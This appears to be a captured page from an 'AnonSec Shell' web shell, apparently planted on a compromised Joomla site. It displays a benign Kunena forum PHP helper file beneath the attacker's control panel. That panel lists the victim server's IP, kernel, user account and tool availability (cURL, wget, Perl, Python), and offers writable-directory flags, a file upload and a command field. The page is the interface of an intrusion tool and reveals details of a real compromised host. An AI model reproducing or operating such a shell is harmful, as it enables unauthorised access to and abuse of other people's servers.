AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/montpellier/libraries/kunena/src/Path/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/montpellier/libraries/kunena/src/Path/KunenaPath.php
<?php

/**
 * Kunena Component
 *
 * @package       Kunena.Framework
 * @subpackage    Path
 *
 * @copyright     Copyright (C) 2008 - @currentyear@ Kunena Team. All rights reserved.
 * @license       https://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link          https://www.kunena.org
 **/

namespace Kunena\Forum\Libraries\Path;

\defined('_JEXEC') or die();

use Exception;
use Joomla\CMS\Factory;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Path;

/**
 * Class KunenaPath
 *
 * @see     Path
 *
 * @since   Kunena 6.0
 */
class KunenaPath extends Path
{
    /**
     * @var     null
     * @since   Kunena 6.0
     */
    public static $tmpdir = null;

    /**
     * @var     null
     * @since   Kunena 6.0
     */
    public static $apache = null;

    /**
     * @var     null
     * @since   Kunena 6.0
     */
    public static $owner = null;

    /**
     * Returns server writable temporary directory, preferring to Joomla tmp if possible.
     *
     * @return  string  Path to temporary directory.
     *
     * @since   Kunena 6.0
     * @throws Exception
     */
    public static function tmpdir(): string
    {
        if (!self::$tmpdir) {
            // Find Apache writable temporary directory defaulting to Joomla.
            $temp = @tempnam(Factory::getApplication()->get('tmp_path'), 'jj');

            // If the previous call fails, let's try system default instead.
            if ($temp === false) {
                $temp = @tempnam(sys_get_temp_dir(), 'jj');
            }

            // Set the temporary directory and remove created file.
            if ($temp !== false) {
                self::$apache = fileowner($temp);
                self::$tmpdir = \dirname($temp);
                unlink($temp);
            }
        }

        return realpath(self::$tmpdir);
    }

    /**
     * Checks if path is writable either by the server or by FTP.
     *
     * @param   string  $path  paths
     *
     * @return  boolean
     *
     * @since   Kunena 6.0
     * @throws Exception
     */
    public static function isWritable(string $path): bool
    {
        return is_writable($path) || self::isOwner($path);
    }

    /**
     * Method to determine if script owns the path.
     *
     * @param   string  $path  Path to check ownership.
     *
     * @return  boolean  True if the php script owns the path passed.
     *
     * @since   Kunena 6.0
     * @throws Exception
     */
    public static function isOwner($path)
    {
        if (!self::$owner) {
            $dir = Factory::getApplication()->get('tmp_path');
            $tmp = 'jj' . md5(mt_rand());

            $test = $dir . '/' . $tmp;

            // Create the test file
            $content = 'test';
            $success = File::write($test, $content, false);

            if (!$success) {
                return false;
            }

            self::$owner = fileowner($test);

            // Delete the test file
            File::delete($test);
        }

        // Test ownership
        return self::$owner == fileowner($path);
    }
}

Anon7 - 2022
AnonSec Team